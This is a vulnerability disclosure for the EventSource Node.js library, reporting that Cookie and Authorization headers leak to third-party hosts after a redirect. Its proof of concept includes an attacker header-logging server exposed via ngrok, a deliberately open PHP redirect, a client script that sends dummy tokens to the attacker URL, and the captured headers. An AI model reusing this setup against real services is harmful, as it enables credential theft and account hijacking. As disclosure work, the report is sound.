Exposure of Sensitive Information to an Unauthorized Actor in EventSource/eventsource

> Reported on Feb 6th 2022 | Timothee Desurmont

Vulnerability type: CWE-200

Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be “sanitized”.

Proof of Concept

1. Start a nodejs server (attacker):

    const express = require('express')
    const app = express()

    app.get('/', function (req, res) {
        console.log(req.headers);
        res.status(200).send()
    })

    app.listen(3000)

    console.log('listening on port 3000');

2. lunch ngrok (attacker):

ngrok http 3000
Session Status                online                                                                     
Account                       Timothee Desurmont (Plan: Free)                                            
Update                        update available (version 2.3.40, Ctrl-U to update)                        
Version                       2.3.35                                                                     
Region                        United States (us)                                                         
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    http://cb45-92-98-215-185.ngrok.io -> http://localhost:3000                
Forwarding                    https://cb45-92-98-215-185.ngrok.io -> http://localhost:3000               
                                                                                                         
Connections                   ttl     opn     rt1     rt5     p50     p90                                
                              1       0       0.00    0.00    8.92    8.92                               
                                                                                                         
HTTP Requests                                                                                            
-------------                                                                                            
                                                                                                         
GET /                          200 OK  

3. Add a redirect.php file in \var\www\html (mysite)

    $redirect_url = $_GET['url'];
    header("Location: " . $redirect_url);

4. Run below code (mysite)

    const EventSource = require("eventsource")

    const mysite = "http://192.168.2.31";
    const attacker = "http://cb45-92-98-215-185.ngrok.io";

    const options = {
        method: 'GET',
        headers: {
            'Content-Type': 'application/json'
            ,'Cookie': 'ajs_anonymous_id=1234567890"',
            "Authorization": "Bearer eyJhb12345abcdef"
        }
    };

    var es = new EventSource(`${mysite}//redirect.php?url=${attacker}/`, options);

    es.onerror = function (err) {
        if (err) {
        if (err.status === 401 || err.status === 403) {
            console.log('not authorized');
        }
        }
    };

5. Responce recived by the attacker

[nodemon] starting `node server.js`
listening on port 3000
{
    host: 'cb45-92-98-215-185.ngrok.io',
    accept: 'text/event-stream',
    authorization: 'Bearer eyJhb12345abcdef',
    'cache-control': 'no-cache',
    'content-type': 'application/json',
    cookie: 'ajs_anonymous_id=1234567890"',
    'x-forwarded-for': '92.98.215.185',
    'x-forwarded-proto': 'http',
    'accept-encoding': 'gzip' 
}

Consequence

Access Control: Hijack of victims account.

The attacker can steal the user’s credentials and then use these credentials to access the legitimate web site.

Suggested fix

If the redirected url is different from the url domain, the Authentication & Cookies should be removed from the header.